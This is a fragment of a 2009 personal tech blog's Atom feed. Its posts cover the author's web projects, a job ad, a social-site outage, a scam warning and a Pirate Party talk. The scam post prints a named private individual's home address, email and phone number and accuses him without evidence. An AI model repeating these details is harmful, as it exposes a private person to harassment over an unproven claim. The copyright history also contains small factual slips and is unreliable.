src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-842460676131162294</id><published>2009-09-04T07:39:00.003-07:00</published><updated>2009-09-04T07:49:35.002-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='westcan'/><category scheme='http://www.blogger.com/atom/ns#' term='link dump'/><category scheme='http://www.blogger.com/atom/ns#' term='aggregator'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><title type='text'>What Have I Been Up To?</title><content type='html'>Here's a rundown of my recent technical tinkerings. The "on the job" tinkerings will come when I have them released. At the moment, they are "precarious" and I need to put them through some ruggedization-- when they're ready for the light of day, expect a mash-up that includes Flickr, Youtube, Daylife and a people-finder for Drupal.&lt;br /&gt;&lt;br /&gt;A Victoria News aggregator: &lt;a href="http://mike.dewolfe.bc.ca/victorianews/"&gt;http://mike.dewolfe.bc.ca/victorianews/&lt;/a&gt;&lt;br /&gt;A Victoria For Sale aggregator: &lt;a href="http://mike.dewolfe.bc.ca/victoria4sale/"&gt;http://mike.dewolfe.bc.ca/victoria4sale/&lt;/a&gt;&lt;br /&gt;A Clip-art site: &lt;a href="http://www.prefabsite.net/clipart/"&gt;http://www.prefabsite.net/clipart/&lt;/a&gt;&lt;br /&gt;NYT Bestsellers / Amazon Mash-up: &lt;a href="http://www.thosedewolfes.com/bestsellers/"&gt;http://www.thosedewolfes.com/bestsellers/&lt;/a&gt;&lt;br /&gt;A company website for a storage company: &lt;a href="http://www.westcancases.com"&gt;www.westcancases.com&lt;/a&gt;&lt;br /&gt;A dead-end Phonegap project for iPhone (now, restarted with classic XCode development tools): &lt;a href="http://www.thosedewolfes.com/marcopolo/index.html"&gt;http://www.thosedewolfes.com/marcopolo/index.html&lt;/a&gt;  (however, I do love HTML5 and Canvas).&lt;br /&gt;An e-book on the Science of Getting Rich: &lt;a href="http://www.prefabsite.net/gettingrich/"&gt;http://www.prefabsite.net/gettingrich/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-842460676131162294?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/842460676131162294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=842460676131162294' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/842460676131162294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/842460676131162294'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/09/what-have-i-been-up-to.html' title='What Have I Been Up To?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7521994392486587710</id><published>2009-08-31T14:45:00.003-07:00</published><updated>2011-10-26T20:57:39.796-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='web design'/><category scheme='http://www.blogger.com/atom/ns#' term='turnkey website'/><title type='text'>How Does Walk-in-Web Do it?</title><content type='html'>Short answer: Wordpress&lt;br /&gt;Long answer (via &lt;a href="http://victoria.en.craigslist.ca/web/1350955508.html"&gt;http://victoria.en.craigslist.ca/web/1350955508.html&lt;/a&gt;):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Website Designer - Technical Sales&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;City: Victoria, BC &lt;/b&gt;&lt;br /&gt;Schedule: Minimum in-store 24 hours per week, will climb to 40 hours/week within 30 days &lt;br /&gt;Earnings: Hourly $18.50 + Commission &lt;br /&gt;Online job details: &lt;a href="http://www.walkinweb.com/jobs/salestech011207.htm"&gt;Walkinweb&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Looking for a great place to work? A place where imagination and technology embraces the old concept of the 'community store'. Our in-store position is fun, demanding and will suit someone with great web design skills and great customer relation. If that's you read on... &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;As an In-Store Sales Technician, you will: &lt;/b&gt;&lt;br /&gt;• Answer client tickets/telephone/in-person inquiries regarding all facets of web design, hosting, domain name registration and Organic/PPC SEO/SEM&lt;br /&gt;• Have the ability to listen and quickly understand your clients needs and abilities &lt;br /&gt;• Create customer profiles and detailed work orders &lt;br /&gt;• Always create a positive client experience by providing above and beyond customer service &lt;br /&gt;&lt;br /&gt;&lt;b&gt;As a Web Designer, you will:&lt;/b&gt; &lt;br /&gt;• Liaise with fellow web designers and programmers in all aspects of site production &lt;br /&gt;• Develop websites ranging from basic CMS (Wordpress)Template to elaborate custom hand coded web development projects &lt;br /&gt;• Handle multiple projects with tight deadlines &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Desired personal skills:&lt;/b&gt; &lt;br /&gt;• A positive and passionate personality, with the natural ability to communicate with clients and team members &lt;br /&gt;• A knack for problem solving and multitasking in a time-sensitive environment &lt;br /&gt;• Ability to work independently, while still being a part of a team &lt;br /&gt;• High attention to detail &lt;br /&gt;• Fluency in the English language &lt;br /&gt;• Ability to speak multiple languages is an asset &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Essential qualifications and skills:&lt;/b&gt; &lt;br /&gt;• Post secondary education in Web design, graphic and visual arts or a related field &lt;br /&gt;• Comfortable with WHM/Cpanel &lt;br /&gt;• Confortable at hand coding HTML, XHMTL, CSS using recognized Text/HTML and/or WYSIWYG editors &lt;br /&gt;• Confortable with optimizing, editing and creating great graphics (Photoshop, Fireworks) &lt;br /&gt;• Comfortable with PHP/MySQL installation, editing and troubleshooting &lt;br /&gt;• High comfort level with content management systems (ie: Wordpress) &lt;br /&gt;• Understanding of organic SEO techniques &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Background:&lt;/b&gt; &lt;br /&gt;Walkinweb's is a Start-Up born out of Konae Technologies,Inc which has enjoyed strong financial growth for the past 9 years through world class software development and marketing strategies including our very popular HTML Editor (Alleycode - over 1 million downloads). Alleycode has enjoyed 'many' awards and reviews, including PC World Magazine (Best 101 Freebies 2006).&lt;br /&gt;&lt;br /&gt;Walkinweb, Inc's Victoria branch is the first of several 'prototypes'. Numerous branches are planned within Canada, making this is a ground up career opportunity with a strong future that includes the development of quality benefit packages&lt;i&gt;Update&lt;/i&gt;: Last time I was downtown Walk-In Web had walked off of Broughton Street.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7521994392486587710?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7521994392486587710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7521994392486587710' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7521994392486587710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7521994392486587710'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/08/how-does-walk-in-web-do-it.html' title='How Does Walk-in-Web Do it?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8202365879185636923</id><published>2009-08-12T22:22:00.003-07:00</published><updated>2009-08-12T22:28:13.817-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='clipart'/><title type='text'>Messing around with Clip-art</title><content type='html'>I have pulled together some clip-art, cooked it into a database of content and then posted it to a site of mine: &lt;a href="http://www.prefabsite.net/clipart/"&gt;http://www.prefabsite.net/clipart/&lt;/a&gt; I may post the PHP code I used-- I did a really simple hack of pagination, terms and searches with lots of code-wrapping and input filtering.  If you want to crawl around my list of 5600+ images, feel free!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8202365879185636923?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8202365879185636923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8202365879185636923' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8202365879185636923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8202365879185636923'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/08/messing-around-with-clip-art.html' title='Messing around with Clip-art'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-661658507715396541</id><published>2009-08-06T08:41:00.003-07:00</published><updated>2009-08-06T08:54:59.454-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Livejournal'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='FaceBook'/><title type='text'>The Social Web Ends Up Talking to the Plant in the Corner</title><content type='html'>Yesterday, I signed up for &lt;a href="http://twitter.com/dewolfe001"&gt;Twitter&lt;/a&gt;. I have a lot of issues with Twitter. Sure: Brevity is... wit. But, where will it go? Why is that we've had the spectre of Orwell's 1984 and the long reach of the PATRIOT Act to fear then we turn around and type in moment to moment updates of our lives into this information nexus?&lt;br /&gt;&lt;a href="http://www.readwriteweb.com/archives/twitter_facebook_and_livejournal_down_at_the_same.php"&gt;According to ReadWriteWeb&lt;/a&gt;, Twitter, Facebook and LiveJournal are all down. I have to wonder if it's a coincidence. Do they all use similar technology that could be an achilles heel? Could it be some vulnerability in Ajax and/or JSON that is letting exploits and requests fly in at an unprecedented speed?&lt;br /&gt;Is this revenge from opponents to free speech like China, North Korea or Iran? It wouldn't be too hard to zombie a bunch of machines or a cluster with faked IPs and then pound on the Ajax servers with millions of little requests that choke out responses. No? Then why is it that Facebook proper seems up, but its Ajax requests handled by its CDN are all chokey?&lt;br /&gt;Maybe it's more basic? Thanks to APIs, all of these sites are interconnected sharing data and when one trips another falls.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-661658507715396541?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/661658507715396541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=661658507715396541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/661658507715396541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/661658507715396541'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/08/social-web-ends-up-talking-to-plant-in.html' title='The Social Web Ends Up Talking to the Plant in the Corner'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7736530968817693158</id><published>2009-08-04T07:50:00.000-07:00</published><updated>2009-08-04T09:54:29.038-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='API'/><category scheme='http://www.blogger.com/atom/ns#' term='Bestsellers'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazon'/><category scheme='http://www.blogger.com/atom/ns#' term='NY Times'/><title type='text'>Make Your Own Bestseller</title><content type='html'>I have combined the NY Times Bestsellers lists (available through an API) with Amazon (also available through an API). Check it out:  &lt;a href="http://www.thosedewolfes.com/bestsellers/"&gt;http://www.thosedewolfes.com/bestsellers/&lt;/a&gt;. Better still, you can use this too! Make a block to show off on your site, your blog or your page on MySpace or Facebook: &lt;a href="http://www.thosedewolfes.com/bestsellers/make.html"&gt;http://www.thosedewolfes.com/bestsellers/make.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7736530968817693158?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7736530968817693158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7736530968817693158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7736530968817693158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7736530968817693158'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/08/make-your-own-bestseller.html' title='Make Your Own Bestseller'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4783792126164243198</id><published>2009-07-21T10:42:00.012-07:00</published><updated>2009-07-21T18:32:00.186-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scams'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Revolution'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google Revolution: A Great Scam</title><content type='html'>&lt;img src="http://www.googlerevolution.com/wp-content/themes/google/images/logo.png"&gt;&lt;br /&gt;&lt;br /&gt;Google Revolution uses Craigslist to scam new victims into their fold (&lt;br /&gt;&lt;a href="http://www.google.com/support/forum/p/gmail/thread?tid=7888f0a8b89178a9&amp;hl=en"&gt;http://www.google.com/support/forum/p/gmail/thread?tid=7888f0a8b89178a9&amp;hl=en&lt;/a&gt;). Job seekers are too broke to pay their bills, but they may fall for parting for their credit card, especially when Google Revolution hooks you for a free 14-day trial for $1.87, then they bill you a week later for $73.83 and continue doing the every month. The package they promise NEVER comes, so the too good to be true is actually as bad as it gets.&lt;br /&gt;&lt;br /&gt;More on their scam: &lt;a href="http://www.complaintsboard.com/complaints/google-revolutioncom-c207698.html"&gt;http://www.complaintsboard.com/complaints/google-revolutioncom-c207698.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can let their ISP, Single Edge, know that you're pissed and that you see them as liable for the web site they are running: &lt;a href="http://www.singleedge.com/page.php/contact/Contact-Us.html"&gt;http://www.singleedge.com/page.php/contact/Contact-Us.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="#street_view"&gt;&lt;/a&gt;Where is this site running out of?&lt;br /&gt;&lt;br /&gt;Resources, National domains@myebiz.com&lt;br /&gt;National Marketing Resources, LLC&lt;br /&gt;351 W. Washington&lt;br /&gt;Kearney, Missouri 64060&lt;br /&gt;United States&lt;br /&gt;(800) 544-9459 Fax -- (800) 506-7838&lt;br /&gt;&lt;br /&gt;The best part: there is no "351 W. Washington"-- it's just &lt;a href="http://maps.google.ca/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=351+W.+Washington++Kearney,+Missouri+64060&amp;sll=44.458442,-61.171163&amp;sspn=51.929162,158.027344&amp;ie=UTF8&amp;ll=39.372443,-94.367001&amp;spn=0.0069,0.01929&amp;t=h&amp;z=16&amp;iwloc=A&amp;layer=c&amp;cbll=39.372639,-94.366707&amp;panoid=Dfp4J8Eb7vGZz2sg9bTIoQ&amp;cbp=12,329.92,,0,-1.6"&gt;an empty field&lt;/a&gt;. You can complain to GoDaddy if the data for NMR Direct and Google Revolution is not accurate. &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Please respond to this email with evidence of the specific contact information you have found to be invalid on the Whois record for the domain name. Examples would be a bounced email or postal mail returned due to an invalid address. If you have a bounced email, please attach or forward with your reply, or in the case of returned postal mail, please send it to:&lt;br /&gt;&lt;br /&gt;GoDaddy.com&lt;br /&gt;Attn: Domain Services&lt;br /&gt;14455 N Hayden Rd&lt;br /&gt;Suite 219&lt;br /&gt;Scottsdale, AZ 85260&lt;br /&gt;&lt;br /&gt;Please note that none of the evidence you send to us will be shared with any third party.&lt;/blockquote&gt;&lt;br /&gt; &lt;br /&gt;A domain registrar can de-register the domain or require a valid and verified address from their registrant. These weasels won't like the light of day.&lt;br /&gt;&lt;br /&gt;Did you want to call to complain and get your money back?&lt;br /&gt;&lt;br /&gt;Sales: 1-866-491-0007&lt;br /&gt;Customer Service: 1-800-261-9038&lt;br /&gt;&lt;br /&gt;Maybe you can try the real source: a weasel in London who may be the real Google Revolution revolutionary&lt;br /&gt;&lt;br /&gt;&lt;h2 style="font-size: 10px; color: #000;"&gt;Martin Osborn&lt;br /&gt;1 Ashburton Road&lt;br /&gt;Ruislip Manor&lt;br /&gt;London, HA4 6AA&lt;br /&gt;United Kingdom&lt;br /&gt;Email: &lt;a href="mailto:tehfincheh@gmail.com"&gt;tehfincheh@gmail.com&lt;/a&gt;&lt;br /&gt;Phone:+1.895637066&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;What pisses me off? Check out the meteoric growth of these weasels: &lt;a href="http://www.alexa.com/siteinfo/googlerevolution.com"&gt;On Alexa&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4783792126164243198?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4783792126164243198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4783792126164243198' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4783792126164243198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4783792126164243198'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/07/google-revolution-great-scam.html' title='Google Revolution: A Great Scam'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7988156740836719885</id><published>2009-07-05T17:15:00.000-07:00</published><updated>2009-07-05T17:15:00.443-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='Star Trek'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal Song'/><title type='text'>Drupal + Star Trek</title><content type='html'>I am a Drupal geek and a Star Trek geek. Take the two, sprinkle in some frustration, a catchy tune and Adobe Premiere Elements and voila:&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/LrUMJgyQVE8&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/LrUMJgyQVE8&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7988156740836719885?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7988156740836719885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7988156740836719885' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7988156740836719885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7988156740836719885'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/07/drupal-star-trek.html' title='Drupal + Star Trek'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4819847754029237731</id><published>2009-06-11T11:52:00.007-07:00</published><updated>2010-06-27T08:26:19.867-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='despotism'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><category scheme='http://www.blogger.com/atom/ns#' term='Pirate Party'/><category scheme='http://www.blogger.com/atom/ns#' term='Falkvinge'/><title type='text'>Arrr.... We Be Having A Pirate Party</title><content type='html'>&lt;a href="http://flickr.com/photos/x180/2419466792/" photos="" x180="" 2419466792=""&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 266px; height: 400px;" src="http://1.bp.blogspot.com/_ekehePDB92c/SjFVTsRPZPI/AAAAAAAAAPM/G7wZz9WEJWc/s400/2419466792_9e03e0c0e5.jpg" alt="" id="BLOGGER_PHOTO_ID_5346148029454836978" border="0" /&gt;&lt;/a&gt; Rick Falkvinge (&lt;a href="mailto:rick.falkvinge@piratpartiet.se"&gt;rick.falkvinge@piratpartiet.se&lt;/a&gt;) did the opening keynote at Open Web Vancouver 2009. His topic: the Pirate Party election of a member to the European Parliament, its aspirations to gain seats in the coming Swedish National election in 2010. The Pirate Party’s platform: save our civil liberties through the declawing of the monopoly of commercial intellectual property concerns and radical changes in the concept of copyright.&lt;br /&gt;Over the course of 80 riveting minutes, Falkvinge went through the history of Copyright, its origins and who profits from it. Its origin in Europe was the printing press.  Until that time, the Catholic Church had a stranglehold on arts, knowledge, literacy and culture.&lt;br /&gt;The reaction to multiple sources of knowledge and reproducible information—the first spark of mass media—was revolutionary and disruptive. France banned the printing press in 1535. Henry the XIII founded the Church of English to abolish the Catholicism and dissolve his first marriage. His daughter, Mary I resented that move, she reinstated Catholicism. To squelch dissent, she gave some stationers in Britain the right to produce printed works—the rights to copy, or copy right. In 1710, the statutes  of copyright were better defined and brought the concept of “intellectual property” – knowledge got cracked out of the people’s brains, snatched from the air and scraped off of the page—and made into a thing. Physical things can re-assembled, altered, used by others and sold. Intellectual property can have all of this done, but it has almost no physicality—it can be copied with a simple technical step. It can be moved through the technical infrastructure of the Internet.&lt;br /&gt;What’s at stake is innovation and privacy. One is important for the advancement of all technology. The latter threatens to destroy our lives.&lt;br /&gt;Second, first:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ekehePDB92c/SjFhX0dhzcI/AAAAAAAAAPU/bcsPkwjpiKQ/s1600-h/jpg_250px-HenryXIII.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 250px; height: 299px;" src="http://4.bp.blogspot.com/_ekehePDB92c/SjFhX0dhzcI/AAAAAAAAAPU/bcsPkwjpiKQ/s400/jpg_250px-HenryXIII.jpg" alt="" id="BLOGGER_PHOTO_ID_5346161294512868802" border="0" /&gt;&lt;/a&gt;The only way to stop violations of intellectual property is to monitor for bad behavior. The only way to monitor is to review transmissions and files. If people can’t review your transmissions, the next best thing is to log their transmissions just in case they broke the law. This orchestrated move to strip away privacy or what Falkvinge refered to a “Postal Secret” means that we will never have privacy. The Copyright lobby has recently pushed:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;4 years in prison for accepting file sharing&lt;/li&gt;&lt;li&gt;Abandoning messenger immunity (killed the messenger’s business)&lt;/li&gt;&lt;li&gt;Equating file sharing with child porn to galvanize political action&lt;/li&gt;&lt;li&gt;Demanding the rights for private companies to install surveillance hardware&lt;/li&gt;&lt;li&gt;The right to cut off Internet access to some violators of copyright laws&lt;/li&gt;&lt;/ul&gt;Innovation has been stymied by patents. Twenty and thirty year delays some fields as a side effect of patents and near-miss patent violations. Airplane patents held in World War I had to be nationalized by the government to open them up to allow for innovation. Patent defense is expensive and chilling. I like to think that you need to adopt “the bliss of abdandonment”—don’t worry when the dog fertilizes your lawn; don’t worry when your Javascript code shows up on so-n-so’s page.&lt;br /&gt;Falkvinge proposed sweeping changes to copyright:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Copyright applies to only commercial works.&lt;/span&gt; Encourage non-commercial derivative works. I think I liked Star Trek better in the 1990s when I could download a .wav of the Borg for my desktop. I got soured at the same time I couldn’t add geekdom from the ‘net without delving into shady corners of the Internet. Derivative non-commercial work can sustain and propel the popularity of a commercial venture. &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Remove the political ban on intellectual property&lt;/span&gt;. Lobby on your own—make it a political topic. The thin edge of civil liberty loss is the fight to maintain the status quo in intellectual property. If we don’t fight that wedge, privacy and due process are at risk—they’re almost gone.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Limit copyright to 5 years from publication&lt;/span&gt;. I actually disagree, a little. I think it should be 20 years from publication: enough time to milk it. This could be a win-win: your local TV channel  (always strapped for cash) could run free episodes of Mary Tyler Moore to remedy your insomnia (&lt;span style="font-style: italic;"&gt;"&lt;/span&gt;&lt;span style="font-style: italic;"&gt;oh… Mr. Graaantt!"&lt;/span&gt;) at 4AM.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Abolish patents&lt;/span&gt;. They choke off innovation.  The last thing we need is a sluggish rate of change in fields like electric vehicle development and climate change remedies. &lt;/li&gt;&lt;/ul&gt;&lt;div  style="padding: 5px; width: 200px; display: block; float: left; font-weight: bold;font-size:20px;"&gt;"If you don’t threaten their jobs, they just won’t care" – &lt;span style="font-style: italic;"&gt;Falkvinge&lt;/span&gt;&lt;/div&gt;How much did the Pirate Party spent to get one of the 730 seats in the European parliament? About $50,000 US. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ekehePDB92c/SjFiAQdhy6I/AAAAAAAAAPc/d-GJmaLM80w/s1600-h/european_parliament.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px; height: 201px;" src="http://2.bp.blogspot.com/_ekehePDB92c/SjFiAQdhy6I/AAAAAAAAAPc/d-GJmaLM80w/s320/european_parliament.jpg" alt="" id="BLOGGER_PHOTO_ID_5346161989223828386" border="0" /&gt;&lt;/a&gt;The EU is the largest economy in the world. Through technology and satisfying the thirst for the young to participate from the confines of their cellphone (&lt;span style="font-style: italic;"&gt;OMG-UR SO POLIT&lt;/span&gt;), this party gained political power. They have their sights set on the Swedish parliament. I have hopes that they make for deep political change, infect the world and re-ignite innovation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;By the way: feel  free to  copy or derive from this post. You’re welcome to link to it too.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4819847754029237731?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4819847754029237731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4819847754029237731' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4819847754029237731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4819847754029237731'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/06/arrr-we-be-having-pirate-party.html' title='Arrr.... We Be Having A Pirate Party'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 